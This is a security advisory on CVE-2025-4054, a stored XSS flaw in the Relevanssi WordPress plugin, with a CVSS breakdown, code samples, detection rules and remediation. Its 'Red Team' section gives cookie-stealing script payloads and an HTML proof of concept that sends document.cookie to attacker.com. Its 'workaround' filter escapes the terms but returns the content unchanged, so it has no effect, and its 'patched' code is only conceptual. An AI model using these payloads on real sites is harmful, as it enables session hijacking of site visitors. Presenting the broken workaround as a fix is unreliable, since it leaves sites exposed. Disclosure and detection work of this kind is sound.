CVE-2025-4054

Executive Summary

CVE-2025-4054 is a Stored Cross-Site Scripting (XSS) vulnerability in the Relevanssi – A Better Search WordPress plugin. This flaw affects both the Free version (up to and including 4.24.3) and the Premium version (up to and including 2.27.4). The vulnerability resides in the plugin's "highlights" functionality, which is used to emphasize search terms in search results. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary web scripts into search result pages. When a user subsequently accesses a page containing these injected scripts, the scripts execute in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered simply by a user viewing search results. The CVSS score of 6.1 (Medium) reflects the low complexity and network-based attack vector, though the impact is limited to confidentiality and integrity of user data.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and the Relevanssi Premium site. Users who install the plugin via the WordPress admin dashboard or manually are at risk. The supply chain risk is elevated because the patch status is unknown, meaning no official fix has been released. Organizations should treat this as a zero-day until a patch is confirmed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – Unauthenticated attackers can exploit this.
• User Interaction: Required (UI:R) – The victim must view a search result page containing the injected script.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No direct denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the unauthenticated nature and ease of exploitation make this a significant risk for WordPress sites using the Relevanssi plugin.

Deep Dive & Mechanics

The vulnerability is located in the Relevanssi plugin's "highlights" feature, which is designed to wrap search terms in HTML <mark> tags or similar styling to visually emphasize them in search results. The plugin fails to properly sanitize user-supplied input (e.g., search queries) before inserting them into the output HTML. Specifically, when a search term is highlighted, the plugin does not escape HTML entities or strip malicious JavaScript.

Attack Flow:

1. An attacker crafts a malicious search query containing JavaScript payloads, such as <script>alert('XSS')</script>.
2. The attacker submits this query to a WordPress site using the Relevanssi plugin.
3. The plugin processes the query and stores the malicious payload in the search results page (e.g., in the session or cache).
4. When a legitimate user visits the search results page (or a page that displays highlighted terms), the payload is rendered in the browser without proper escaping.
5. The victim's browser executes the injected script, which can steal cookies, redirect to phishing sites, or perform actions on behalf of the user.

Root Cause: The plugin uses functions like esc_html() or wp_kses() incorrectly, or fails to apply them to the highlighted term output. The highlights feature likely constructs HTML by concatenating user input directly into the markup.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In Relevanssi plugin, highlights function
function relevanssi_highlight_terms($content, $terms) {
    foreach ($terms as $term) {
        // Direct concatenation without escaping
        $content = str_replace($term, '<mark>' . $term . '</mark>', $content);
    }
    return $content;
}

Patched Code (Expected):

function relevanssi_highlight_terms($content, $terms) {
    foreach ($terms as $term) {
        // Escape the term before inserting into HTML
        $escaped_term = esc_html($term);
        $content = str_replace($term, '<mark>' . $escaped_term . '</mark>', $content);
    }
    return $content;
}

The patched version uses esc_html() to convert special characters like <, >, &, ", and ' into their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Relevanssi plugin (Free <= 4.24.3 or Premium <= 2.27.4) installed and active.
• The "highlights" feature must be enabled in the plugin settings.

Exploitation Steps:

1. Identify a vulnerable WordPress site (e.g., using Shodan dorks or manual inspection).
2. Craft a malicious search query with a JavaScript payload. Example:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the query via the site's search form. The payload will be stored in the search results.
4. Send a link to the search results page to a victim (e.g., via email or social engineering).
5. When the victim views the page, the script executes and exfiltrates their session cookie.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<form action="http://target-site.com/?s=" method="get">
    <input type="text" name="s" value="<script>fetch('https://attacker.com/log?c='+document.cookie)</script>">
    <input type="submit" value="Search">
</form>
</body>
</html>

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for search queries containing <script>, onerror=, javascript:, or other XSS patterns.
• Use WAF rules to block requests with suspicious payloads in the s parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

• Disable the "highlights" feature in Relevanssi settings until a patch is applied.
• Apply virtual patching via WAF (e.g., ModSecurity rule to block <script> in search queries).
• Regularly update the plugin when a patch becomes available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /?s=<script>... or similar patterns.
  • Outbound connections to known malicious domains from the WordPress server.
• File IOCs:
  • Modified search result pages containing <script> tags.
  • Suspicious entries in the WordPress wp_options table (e.g., stored search terms).
• Log IOCs:
  • Web server logs showing repeated search queries with HTML/JavaScript content.
  • Error logs indicating failed XSS attempts (e.g., blocked by WAF).

Detection Engineering

YARA Rule

rule CVE_2025_4054_Relevanssi_XSS {
    meta:
        description = "Detects stored XSS payloads in Relevanssi plugin search results"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4054"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $onerror_payload = /onerror\s*=\s*["']?[^"']*["']?/i
        $javascript_uri = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4054 Relevanssi Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts in WordPress search queries targeting Relevanssi plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4054 Relevanssi Stored XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/?"; http_uri; content:"s="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the "highlights" feature in Relevanssi settings (if possible) to prevent exploitation.
2. Apply virtual patching using a Web Application Firewall (WAF) to block XSS payloads in search queries.
3. Monitor logs for signs of exploitation and block malicious IPs.

Long-Term Fix:

• Update the plugin once a patched version is released (check Relevanssi official site or WordPress plugin repository).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing attacks that may leverage this vulnerability.

Workaround Code (if patching is delayed): Add the following to your theme's functions.php to sanitize search queries:

add_filter('relevanssi_highlight_terms', function($content, $terms) {
    foreach ($terms as &$term) {
        $term = esc_html($term);
    }
    return $content;
}, 10, 2);

Valters IT
DevSecOps & Cyber Threat Intelligence